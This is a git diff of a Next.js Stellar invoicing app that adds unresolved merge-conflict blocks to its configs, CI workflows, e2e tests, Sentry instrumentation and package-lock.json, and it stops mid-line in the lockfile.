diff --git a/.env.example b/.env.example index cfa1b07a..fc450306 100644 --- a/.env.example +++ b/.env.example @@ -14,6 +14,8 @@ VAPID_SUBJECT=mailto:support@example.com # from /api/settings/branding/logo/... with CDN-style immutable cache headers # (fine for local dev and CI). BLOB_READ_WRITE_TOKEN= +<<<<<<< HEAD +======= # --------------------------------------------------------------------------- # Error tracking & crash reporting (Sentry) @@ -33,4 +35,5 @@ SENTRY_PROJECT= # SENTRY_AUTH_TOKEN: server-only token with `project:releases` scope for # sourcemap uploads. Never expose this to the client. Leave empty to skip # sourcemap upload (builds still succeed, traces will be minified). -SENTRY_AUTH_TOKEN= \ No newline at end of file +SENTRY_AUTH_TOKEN= +>>>>>>> upstream/main diff --git a/.eslintrc.json b/.eslintrc.json index d363b708..2811d500 100644 --- a/.eslintrc.json +++ b/.eslintrc.json @@ -1,9 +1,13 @@ { "extends": "next/core-web-vitals", "rules": { +<<<<<<< HEAD + "react-hooks/exhaustive-deps": "off" +======= "react-hooks/exhaustive-deps": "off", "no-unexpected-multiline": "off", "@next/next/no-img-element": "off", "jsx-a11y/alt-text": "off" +>>>>>>> upstream/main } } diff --git a/.github/workflows/accessibility.yml b/.github/workflows/accessibility.yml index ab089df7..df8de598 100644 --- a/.github/workflows/accessibility.yml +++ b/.github/workflows/accessibility.yml @@ -9,11 +9,14 @@ on: jobs: a11y: runs-on: ubuntu-latest +<<<<<<< HEAD +======= env: NEXT_PUBLIC_STELLAR_NETWORK: ${{ secrets.NEXT_PUBLIC_STELLAR_NETWORK }} NEXT_PUBLIC_CONTRACT_ID: ${{ secrets.NEXT_PUBLIC_CONTRACT_ID }} NEXT_PUBLIC_RPC_URL: ${{ secrets.NEXT_PUBLIC_RPC_URL }} NEXT_PUBLIC_USDC_ADDRESS: ${{ secrets.NEXT_PUBLIC_USDC_ADDRESS }} +>>>>>>> upstream/main steps: - uses: actions/checkout@v4 @@ -26,7 +29,11 @@ jobs: run: npm ci - name: Install Playwright browsers +<<<<<<< HEAD + run: npx playwright install --with-deps chromium firefox webkit +======= run: npx playwright install chromium +>>>>>>> upstream/main - name: Run accessibility tests (WCAG 2.1 AA gate) run: npx playwright test --grep @a11y diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index c4ef0307..9d84ad71 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -30,3 +30,12 @@ jobs: NEXT_PUBLIC_STELLAR_NETWORK: ${{ vars.NEXT_PUBLIC_STELLAR_NETWORK }} NEXT_PUBLIC_CONTRACT_ID: ${{ vars.NEXT_PUBLIC_CONTRACT_ID }} NEXT_PUBLIC_RPC_URL: ${{ vars.NEXT_PUBLIC_RPC_URL }} +<<<<<<< HEAD + + - name: Deploy to Vercel + run: npx vercel@latest --prod --token=${{ secrets.VERCEL_TOKEN }} --yes + env: + VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }} + VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }} +======= +>>>>>>> upstream/main diff --git a/.gitignore b/.gitignore index 6104937a..ca59c0d1 100644 --- a/.gitignore +++ b/.gitignore @@ -29,6 +29,19 @@ junit.xml # ── OS files ────────────────────────────────────────────────────────────── .DS_Store Thumbs.db +<<<<<<< HEAD + +# ── Editor / IDE ────────────────────────────────────────────────────────── +.vscode/ +.idea/ +*.swp +*.swo +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? +======= *.DS_Store # Test artifacts @@ -39,12 +52,26 @@ playwright-report/ test-results/ junit.xml *.lcov +>>>>>>> upstream/main # ── Logs ────────────────────────────────────────────────────────────────── *.log npm-debug.log* yarn-debug.log* yarn-error.log* +<<<<<<< HEAD +pnpm-debug.log* + +# ── Misc ────────────────────────────────────────────────────────────────── +.vercel/ +.turbo/ +.cache/ +.eslintcache +*.tgz +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat +======= # Editor .vscode/ @@ -58,3 +85,4 @@ yarn-error.log* .cache/ *.tgz dist/ +>>>>>>> upstream/main diff --git a/docs/ACCESSIBILITY.md b/docs/ACCESSIBILITY.md index 7731f81b..2202f0f7 100644 --- a/docs/ACCESSIBILITY.md +++ b/docs/ACCESSIBILITY.md @@ -53,6 +53,8 @@ The initial audit surfaced the following categories of critical/serious violatio - **Browser coverage locally vs. CI.** A fresh dev sandbox may only have the Chromium Playwright browser installed. CI installs Chromium, Firefox, and WebKit via `npx playwright install --with-deps`, so the merge gate is multi-engine even when a local run (`npx playwright test --grep @a11y`) only exercises Chromium. - **Moderate/minor axe findings are not gated on.** Only `critical`/`serious` impact violations fail the build, per the acceptance criteria. Any moderate/minor findings surfaced by axe during a run are not currently tracked separately. +<<<<<<< HEAD +======= ## Component-level automated testing In addition to the page-level Playwright + `@axe-core/playwright` gate @@ -95,6 +97,7 @@ release cycle and whenever a new page/flow is added to the audit scope: "Known limitations" section until fixed. Once fixed, add a short note to the "What was fixed" section above so the audit trail stays complete. +>>>>>>> upstream/main ## Extending the audit To add a new page to the gate, add an entry to the `PAGES` array in `e2e/a11y.spec.ts` — the shared `runAxe()` helper and assertion are reused automatically. For flows that require user interaction (opening a modal, completing a multi-step form), follow the pattern in the two targeted tests at the bottom of that file: drive the interaction with Playwright, then call `runAxe(page)` and assert on `critical`/`serious` violations. diff --git a/e2e/a11y.spec.ts b/e2e/a11y.spec.ts index 9d6d4513..fc6431e2 100644 --- a/e2e/a11y.spec.ts +++ b/e2e/a11y.spec.ts @@ -14,7 +14,13 @@ const PAGES: Array<{ path: string; name: string }> = [ { path: '/', name: 'Home' }, { path: '/dashboard', name: 'Dashboard' }, { path: '/invoice/new', name: 'New Invoice' }, +<<<<<<< HEAD + { path: '/invoice/1', name: 'Invoice Detail' }, + { path: '/verify/1', name: 'Verify Invoice' }, + { path: '/analytics', name: 'Analytics' }, +======= { path: '/settings', name: 'Settings' }, +>>>>>>> upstream/main ]; async function runAxe(page: Page) { diff --git a/e2e/create-invoice.spec.ts b/e2e/create-invoice.spec.ts index 154e0ca5..c4dfeaf8 100644 --- a/e2e/create-invoice.spec.ts +++ b/e2e/create-invoice.spec.ts @@ -21,6 +21,8 @@ test.describe('Create invoice flow', () => { await expect(createPage.totalAmountInput).toHaveValue('200'); }); +<<<<<<< HEAD +======= test('back button returns to previous step without losing entered data', async ({ page }) => { const createPage = new CreateInvoicePage(page); await createPage.goto(); @@ -38,6 +40,7 @@ test.describe('Create invoice flow', () => { await expect(createPage.amountInput).toHaveValue('150'); }); +>>>>>>> upstream/main test('fill form and submit redirects', async ({ page }) => { const createPage = new CreateInvoicePage(page); await createPage.goto(); diff --git a/e2e/dashboard.spec.ts b/e2e/dashboard.spec.ts index fca21a30..e639bcd2 100644 --- a/e2e/dashboard.spec.ts +++ b/e2e/dashboard.spec.ts @@ -19,6 +19,8 @@ test.describe('Dashboard', () => { const hasEmpty = await dashboard.emptyState.isVisible().catch(() => false); expect(hasCards > 0 || hasEmpty).toBe(true); }); +<<<<<<< HEAD +======= test('analytics dashboard updates in real-time', async ({ page }) => { const dashboard = new DashboardPage(page); @@ -70,4 +72,5 @@ test.describe('Dashboard', () => { await expect(liveMetric).toBeVisible(); await expect(liveMetric).not.toHaveText(''); }); +>>>>>>> upstream/main }); diff --git a/e2e/pages/DashboardPage.ts b/e2e/pages/DashboardPage.ts index 399a8086..c7e9f242 100644 --- a/e2e/pages/DashboardPage.ts +++ b/e2e/pages/DashboardPage.ts @@ -6,10 +6,13 @@ export class DashboardPage { readonly invoiceCards: Locator; readonly emptyState: Locator; readonly payMultipleButton: Locator; +<<<<<<< HEAD +======= readonly analyticsDashboard: Locator; readonly liveMetrics: Locator; readonly autoRefreshToggle: Locator; readonly connectionStatus: Locator; +>>>>>>> upstream/main constructor(page: Page) { this.page = page; @@ -17,15 +20,20 @@ export class DashboardPage { this.invoiceCards = page.locator('a[aria-label*="View Invoice"]'); this.emptyState = page.locator('text=/No invoices found/i'); this.payMultipleButton = page.locator('button:has-text("Pay Multiple")'); +<<<<<<< HEAD +======= this.analyticsDashboard = page.locator('[data-testid="analytics-dashboard"]'); this.liveMetrics = page.locator('[data-testid="live-metric"]'); this.autoRefreshToggle = page.locator('[data-testid="auto-refresh-toggle"]'); this.connectionStatus = page.locator('[data-testid="connection-status"]'); +>>>>>>> upstream/main } async goto() { await this.page.goto('/dashboard'); } +<<<<<<< HEAD +======= async waitForLiveUpdate() { await this.connectionStatus.filter({ hasText: /connected/i }).waitFor(); @@ -34,4 +42,5 @@ export class DashboardPage { async toggleAutoRefresh() { await this.autoRefreshToggle.click(); } +>>>>>>> upstream/main } diff --git a/instrumentation-client.ts b/instrumentation-client.ts index 945fdbf9..1456b869 100644 --- a/instrumentation-client.ts +++ b/instrumentation-client.ts @@ -1,5 +1,8 @@ import * as Sentry from "@sentry/nextjs"; +<<<<<<< HEAD +======= import { initPerformanceMonitoring, onPerformanceMetric, isRegression } from "./src/lib/performanceMonitoring"; +>>>>>>> upstream/main const dsn = process.env.NEXT_PUBLIC_SENTRY_DSN; @@ -13,6 +16,9 @@ if (dsn) { }); } +<<<<<<< HEAD +export const onRouterTransitionStart = Sentry.captureRouterTransitionStart; +======= // Core Web Vitals collection + budget-regression reporting (see // src/lib/performanceMonitoring.ts and docs/PERFORMANCE.md). onPerformanceMetric((metric) => { @@ -205,4 +211,5 @@ function attachFlushHandler(): void { if (typeof window !== "undefined") { attachFlushHandler(); initAnalytics(); -} \ No newline at end of file +} +>>>>>>> upstream/main diff --git a/instrumentation.ts b/instrumentation.ts index e14d89dd..462aae80 100644 --- a/instrumentation.ts +++ b/instrumentation.ts @@ -1,4 +1,27 @@ import * as Sentry from "@sentry/nextjs"; +<<<<<<< HEAD + +export async function register() { + const dsn = process.env.NEXT_PUBLIC_SENTRY_DSN; + if (!dsn) return; + + if (process.env.NEXT_RUNTIME === "nodejs") { + Sentry.init({ + dsn, + tracesSampleRate: 0.1, + debug: false, + }); + } + + if (process.env.NEXT_RUNTIME === "edge") { + Sentry.init({ + dsn, + tracesSampleRate: 0.1, + debug: false, + }); + } +} +======= import { initAnalytics } from "./lib/analytics/server"; import { registerBackupScheduler } from "./lib/backup/scheduler"; @@ -73,4 +96,5 @@ export async function register() { ); } } -} \ No newline at end of file +} +>>>>>>> upstream/main diff --git a/jest.config.js b/jest.config.js index a955000d..573e0827 100644 --- a/jest.config.js +++ b/jest.config.js @@ -9,6 +9,15 @@ const config = { moduleNameMapper: { "^@/(.*)$": "/src/$1", }, +<<<<<<< HEAD + testMatch: ["**/__tests__/**/*.(test|spec).(ts|tsx)"], + testPathIgnorePatterns: ["/node_modules/", "/src/app/search/__tests__/"], + collectCoverageFrom: ["src/components/**/*.{ts,tsx}", "!src/components/**/*.d.ts"], + coverageThreshold: { global: { branches: 80, functions: 80, lines: 80, statements: 80 } }, +}; + +module.exports = createJestConfig(config); +======= testMatch: [ "**/__tests__/**/*.(test|spec).(ts|tsx)", "**/__tests__/**/*.(test|spec).(js|jsx)", @@ -36,4 +45,5 @@ const config = { restoreMocks: true, }; -module.exports = createJestConfig(config); \ No newline at end of file +module.exports = createJestConfig(config); +>>>>>>> upstream/main diff --git a/jest.setup.ts b/jest.setup.ts index c8c17382..90631028 100644 --- a/jest.setup.ts +++ b/jest.setup.ts @@ -1,4 +1,6 @@ import "@testing-library/jest-dom"; +<<<<<<< HEAD +======= /** * Global Jest setup. @@ -359,4 +361,5 @@ beforeEach(() => { afterEach(() => { jest.clearAllMocks(); -}); \ No newline at end of file +}); +>>>>>>> upstream/main diff --git a/next.config.js b/next.config.js index 93e97a0e..107c5ed6 100644 --- a/next.config.js +++ b/next.config.js @@ -7,6 +7,9 @@ const withPWA = require('@ducanh2912/next-pwa').default({ disable: process.env.NODE_ENV === 'development', }); +<<<<<<< HEAD +const nextConfig = { +======= /** @type {import('next').NextConfig} */ // CDN host for static assets (/_next/static/*, /public/*). When unset, // Next.js serves assets from the app's own origin — i.e. it "falls back to @@ -22,15 +25,19 @@ const nextConfig = { // fingerprints these files with content hashes, so swapping the prefix on // deploy is automatic cache-busting / versioning — no manual query strings. assetPrefix: cdnAssetPrefix, +>>>>>>> upstream/main experimental: { serverComponentsExternalPackages: ['@stellar/stellar-sdk', '@vercel/blob'], }, images: { +<<<<<<< HEAD +======= // Serve modern formats where the browser supports them; falls back // automatically for browsers that don't. formats: ["image/webp"], // Recipient avatars fall back to Gravatar; served unoptimized so no image // requests are proxied through the Next.js optimizer. +>>>>>>> upstream/main remotePatterns: [ { protocol: 'https', @@ -46,10 +53,13 @@ const nextConfig = { headers: [ { key: 'X-Frame-Options', value: 'DENY' }, { key: 'X-Content-Type-Options', value: 'nosniff' }, +<<<<<<< HEAD +======= // X-XSS-Protection enables the browser's built-in XSS filter (IE/Chrome legacy). // Modern browsers rely on CSP instead, but this header provides defence-in-depth // for older clients. Mode=block prevents partial rendering of detected attacks. { key: 'X-XSS-Protection', value: '1; mode=block' }, +>>>>>>> upstream/main { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' }, { key: 'Strict-Transport-Security', @@ -74,6 +84,8 @@ const nextConfig = { { key: 'X-Frame-Options', value: 'ALLOWALL' }, ], }, +<<<<<<< HEAD +======= { // Next.js fingerprints build assets with content hashes, so they're // safe to cache aggressively and immutably on the client/CDN. @@ -97,6 +109,7 @@ const nextConfig = { { key: "Cache-Control", value: "private, max-age=0, must-revalidate" }, ], }, +>>>>>>> upstream/main ]; }, webpack: (config, { isServer }) => { @@ -131,6 +144,8 @@ const sentryWebpackPluginOptions = { project: process.env.SENTRY_PROJECT, authToken: process.env.SENTRY_AUTH_TOKEN, silent: true, +<<<<<<< HEAD +======= // Hide source maps from the client bundle; they are uploaded to Sentry instead. hideSourceMaps: true, // Upload source maps for all client files, not just the ones referenced in the bundle. @@ -138,6 +153,7 @@ const sentryWebpackPluginOptions = { // Route Sentry requests through a same-origin tunnel to avoid ad-blockers. tunnelRoute: '/monitoring', // Only run the Sentry webpack plugins when a DSN is configured. +>>>>>>> upstream/main disableServerWebpackPlugin: !process.env.NEXT_PUBLIC_SENTRY_DSN, disableClientWebpackPlugin: !process.env.NEXT_PUBLIC_SENTRY_DSN, }; diff --git a/package-lock.json b/package-lock.json index 3faa6732..0f93c753 100644 --- a/package-lock.json +++ b/package-lock.json @@ -40,7 +40,10 @@ "recharts": "^2.12.7", "remark-gfm": "^4.0.1", "swr": "^2.4.2", +<<<<<<< HEAD +======= "tesseract.js": "^7.0.0", +>>>>>>> upstream/main "web-push": "^3.6.7", "zod": "^3.25.76", "zustand": "^5.0.14" @@ -62,7 +65,10 @@ "@vitejs/plugin-react": "^6.0.3", "autoprefixer": "^10.4.0", "axe-core": "^4.12.1", +<<<<<<< HEAD +======= "dom-accessibility-api": "^0.7.1", +>>>>>>> upstream/main "eslint": "^8.57.0", "eslint-config-next": "14.2.3", "fake-indexeddb": "^6.2.5", @@ -81,9 +87,15 @@ "license": "MIT" }, "node_modules/@alloc/quick-lru": { +<<<<<<< HEAD + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", +======= "version": "5.3.0", "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.3.0.tgz", "integrity": "sha512-U4+70Pc5ZS9osnCBCE5Jha/ciHM+Yp+CNMNC/7HvYbNRk1Ldd+f7qO65W5qfhu/TCv+/ozljlXXe9Nj8419DMA==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "engines": { @@ -109,6 +121,52 @@ "ajv": ">=8" } }, +<<<<<<< HEAD + "node_modules/@apm-js-collab/code-transformer": { + "version": "0.15.0", + "resolved": "https://registry.npmjs.org/@apm-js-collab/code-transformer/-/code-transformer-0.15.0.tgz", + "integrity": "sha512-XmXYVs8CzJ1Aj79noVbn2weUO/XWtRyURpGqx7aU7DOXlUQhR0WKOQNF0okh7PCeY37vxf7kU3v57OAkEPm3ww==", + "license": "Apache-2.0", + "dependencies": { + "@types/estree": "^1.0.8", + "astring": "^1.9.0", + "esquery": "^1.7.0", + "meriyah": "^6.1.4", + "semifies": "^1.0.0", + "source-map": "^0.6.0" + }, + "bin": { + "code-transformer": "cli.js" + } + }, + "node_modules/@apm-js-collab/code-transformer-bundler-plugins": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/@apm-js-collab/code-transformer-bundler-plugins/-/code-transformer-bundler-plugins-0.5.0.tgz", + "integrity": "sha512-YxLBY5nGlurL7QeJLq6e5g0ouBpAp0pwgyA/5rHXEXwhiPLn9ZHbT+Y2LlP90GT872cSocfjWRYu/fnpuBudNQ==", + "license": "MIT", + "dependencies": { + "@apm-js-collab/code-transformer": "^0.15.0", + "es-module-lexer": "^2.1.0", + "magic-string": "^0.30.21", + "module-details-from-path": "^1.0.4" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@apm-js-collab/tracing-hooks": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/@apm-js-collab/tracing-hooks/-/tracing-hooks-0.10.0.tgz", + "integrity": "sha512-2/Z3NTewJTruUkmsSnBC5bJlLNUd9keuD1OLlTEpim4FyLhm6m2Rnfv+wrFdUvFfhmH8CRdiDZBqBrn+wyaGuA==", + "license": "Apache-2.0", + "dependencies": { + "@apm-js-collab/code-transformer": "^0.15.0", + "debug": "^4.4.1", + "module-details-from-path": "^1.0.4" + } + }, +======= +>>>>>>> upstream/main "node_modules/@asamuzakjp/css-color": { "version": "5.1.11", "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-5.1.11.tgz", @@ -161,6 +219,15 @@ "license": "MIT" }, "node_modules/@axe-core/playwright": { +<<<<<<< HEAD + "version": "4.12.1", + "resolved": "https://registry.npmjs.org/@axe-core/playwright/-/playwright-4.12.1.tgz", + "integrity": "sha512-rMd7xriptqKpP+w5265i4Hdkv2X5kbu6uiBi/B2I7uf3hieRBM3qDCfaKPtxfiYb2mKXfF+yLODJwIx+Jv1GDw==", + "dev": true, + "license": "MPL-2.0", + "dependencies": { + "axe-core": "~4.12.1" +======= "version": "4.13.0", "resolved": "https://registry.npmjs.org/@axe-core/playwright/-/playwright-4.13.0.tgz", "integrity": "sha512-6YLx+kxXu5GJceG4ozFg+33a2EMTdjYwWGloJ3sb9Kta5pp+ZNS53uxGVog5JetIY8s++P5UrtX+cri+u0VAVg==", @@ -168,11 +235,14 @@ "license": "MPL-2.0", "dependencies": { "axe-core": "~4.13.0" +>>>>>>> upstream/main }, "peerDependencies": { "playwright-core": ">= 1.0.0" } }, +<<<<<<< HEAD +======= "node_modules/@axe-core/playwright/node_modules/axe-core": { "version": "4.13.0", "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.13.0.tgz", @@ -183,6 +253,7 @@ "node": ">=4" } }, +>>>>>>> upstream/main "node_modules/@babel/code-frame": { "version": "7.29.7", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz", @@ -236,6 +307,8 @@ "url": "https://opencollective.com/babel" } }, +<<<<<<< HEAD +======= "node_modules/@babel/core/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", @@ -245,6 +318,7 @@ "semver": "bin/semver.js" } }, +>>>>>>> upstream/main "node_modules/@babel/generator": { "version": "7.29.8", "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.8.tgz", @@ -289,6 +363,8 @@ "node": ">=6.9.0" } }, +<<<<<<< HEAD +======= "node_modules/@babel/helper-compilation-targets/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", @@ -298,6 +374,7 @@ "semver": "bin/semver.js" } }, +>>>>>>> upstream/main "node_modules/@babel/helper-create-class-features-plugin": { "version": "7.29.7", "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.29.7.tgz", @@ -319,6 +396,16 @@ "@babel/core": "^7.0.0" } }, +<<<<<<< HEAD + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.29.7.tgz", + "integrity": "sha512-907Uymvqgg1dwUA+7IGwFAOSYzQOuzPXKNJ1yxzwPffzkYFg2q2eHi1fIOs6sXkG9NbIUMunnUlkYsfRFNvomg==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.29.7", + "regexpu-core": "^6.3.1", +======= "node_modules/@babel/helper-create-class-features-plugin/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", @@ -336,6 +423,7 @@ "dependencies": { "@babel/helper-annotate-as-pure": "^7.29.7", "regexpu-core": "^6.5.3", +>>>>>>> upstream/main "semver": "^6.3.1" }, "engines": { @@ -345,6 +433,8 @@ "@babel/core": "^7.0.0" } }, +<<<<<<< HEAD +======= "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", @@ -354,6 +444,7 @@ "semver": "bin/semver.js" } }, +>>>>>>> upstream/main "node_modules/@babel/helper-define-polyfill-provider": { "version": "0.6.8", "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.8.tgz", @@ -371,6 +462,15 @@ } }, "node_modules/@babel/helper-define-polyfill-provider/node_modules/resolve": { +<<<<<<< HEAD + "version": "1.22.12", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.12.tgz", + "integrity": "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "is-core-module": "^2.16.1", +======= "version": "1.22.13", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.13.tgz", "integrity": "sha512-Dj/cW9zBV2aRj6XzCxuGIs3ESZKv02jixne3q6jFZYZ3/Tg09gHHviSMDL4kObh9pqSahdRHEnDoaP2gn8YLhA==", @@ -378,6 +478,7 @@ "dependencies": { "es-errors": "^1.3.0", "is-core-module": "^2.17.0", +>>>>>>> upstream/main "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, @@ -553,6 +654,15 @@ } }, "node_modules/@babel/helpers": { +<<<<<<< HEAD + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.7.tgz", + "integrity": "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg==", + "license": "MIT", + "dependencies": { + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7" +======= "version": "7.29.10", "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.10.tgz", "integrity": "sha512-EMCx3AGZ3WfAl6ht7AyQoPm2Lh+BGYEMdc4Q6Hf7uSCDOZFuLq44qNwL+iaim8VlyYhRAo4X43+weadK8ZB4Yg==", @@ -560,15 +670,22 @@ "dependencies": { "@babel/template": "^7.29.7", "@babel/types": "^7.29.8" +>>>>>>> upstream/main }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/parser": { +<<<<<<< HEAD + "version": "7.29.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.8.tgz", + "integrity": "sha512-E8lTAYNB1KW+FH+VGJuZM1ioAx2E6oVlvQFRrf5P8ZZmsiJXYAD9vTFV7yyEURNzgh1dFqMZuO6tUwcARbqFCA==", +======= "version": "7.29.9", "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.9.tgz", "integrity": "sha512-CjXrNHTnvqBVqHgdBysY3vk2T8tpJHb5/RMeHJBTyVa9xgugCB0CJTx/3oO8RV2QRQP391RWpB7D6hLjm8V9uA==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "@babel/types": "^7.29.8" @@ -1623,6 +1740,8 @@ "@babel/core": "^7.0.0-0" } }, +<<<<<<< HEAD +======= "node_modules/@babel/preset-env/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", @@ -1632,6 +1751,7 @@ "semver": "bin/semver.js" } }, +>>>>>>> upstream/main "node_modules/@babel/preset-modules": { "version": "0.1.6-no-external-plugins", "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz", @@ -1647,9 +1767,15 @@ } }, "node_modules/@babel/runtime": { +<<<<<<< HEAD + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz", + "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==", +======= "version": "7.29.10", "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.10.tgz", "integrity": "sha512-NpugTzbKgGrNe45Ui32cN8vCFFMxVtP/9rtfwv0nP5FRDAjvYBxJcLVpYA9mr1jxP6cnIT7x9LUzuDTbWYYNRA==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=6.9.0" @@ -1670,15 +1796,25 @@ } }, "node_modules/@babel/traverse": { +<<<<<<< HEAD + "version": "7.29.8", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.8.tgz", + "integrity": "sha512-I5z7H3bf/41ktsNVLtpN0wAa336HkqIHQ5BuPLEhTkt1jVSyZpeNKIzTgEWmlxjdg81R0IgUCcaE+Ok3NvrfZg==", +======= "version": "7.29.10", "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.10.tgz", "integrity": "sha512-B3lYAs2nkKskbgQ1nfy8Ma9ao9Q1rntTAQHrzzyDuj+TSO+X3le6PfWwqDvodsb+OumE10eMFfuMCTQSQ5iuIQ==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "@babel/code-frame": "^7.29.7", "@babel/generator": "^7.29.8", "@babel/helper-globals": "^7.29.7", +<<<<<<< HEAD + "@babel/parser": "^7.29.8", +======= "@babel/parser": "^7.29.9", +>>>>>>> upstream/main "@babel/template": "^7.29.7", "@babel/types": "^7.29.8", "debug": "^4.3.1" @@ -1701,6 +1837,15 @@ } }, "node_modules/@bramus/specificity": { +<<<<<<< HEAD + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/@bramus/specificity/-/specificity-2.4.2.tgz", + "integrity": "sha512-ctxtJ/eA+t+6q2++vj5j7FYX3nRu311q1wfYH3xjlLOsczhlhxAg2FWNUXhpGvAw3BWo1xBcvOV6/YLc2r5FJw==", + "dev": true, + "license": "MIT", + "dependencies": { + "css-tree": "^3.0.0" +======= "version": "2.4.3", "resolved": "https://registry.npmjs.org/@bramus/specificity/-/specificity-2.4.3.tgz", "integrity": "sha512-0GEz8qJWokkUVYQYRukmkSHIFNoBH8QTreeHrAFbvz1XFYc3Y+puhMs8PQ5x8GNugiC2l5jvDBXKLbBIByeSBw==", @@ -1708,15 +1853,22 @@ "license": "MIT", "dependencies": { "css-tree": "^3.2.1" +>>>>>>> upstream/main }, "bin": { "specificity": "bin/cli.js" } }, "node_modules/@csstools/color-helpers": { +<<<<<<< HEAD + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.1.0.tgz", + "integrity": "sha512-064IFJdjTfUqnjpCVpMOdbr8FLQBhinbZj6yRv2An2E41O/pLEXqfFRWqGq/SxlE5PEUYTlvWsG2r8MswAVvkg==", +======= "version": "6.1.2", "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-6.1.2.tgz", "integrity": "sha512-grhRy3OKmniaAEKXMjua5z/EODX0MSqBGjunw8+j/3HQjOnahs2AGhvEOIYVUWcU6ScApbhLhVrQTX8XqrMrow==", +>>>>>>> upstream/main "dev": true, "funding": [ { @@ -1734,9 +1886,15 @@ } }, "node_modules/@csstools/css-calc": { +<<<<<<< HEAD + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.2.1.tgz", + "integrity": "sha512-DtdHlgXh5ZkA43cwBcAm+huzgJiwx3ZTWVjBs94kwz2xKqSimDA3lBgCjphYgwgVUMWatSM0pDd8TILB1yrVVg==", +======= "version": "3.4.3", "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.4.3.tgz", "integrity": "sha512-iex20d8CHVkyvg6B7UKV7uHnI2Bqo9g+EFfT9E0y+GvTvhZ/DwONJ+9aKb1dlqm0ZiGsL5RXjp0fCoJYnkeDjA==", +>>>>>>> upstream/main "dev": true, "funding": [ { @@ -1753,6 +1911,16 @@ "node": ">=20.19.0" }, "peerDependencies": { +<<<<<<< HEAD + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" + } + }, + "node_modules/@csstools/css-color-parser": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-4.1.9.tgz", + "integrity": "sha512-paQcIaOO53Rk5+YrBaBjm/SgrV4INImjo2BT1DtQRYr+XeTRbeAYlS+jxXp9drqvKmtFnWRJKIalDLhZZDu42A==", +======= "@csstools/css-parser-algorithms": "^4.0.2", "@csstools/css-tokenizer": "^4.0.2" } @@ -1761,6 +1929,7 @@ "version": "4.2.6", "resolved": 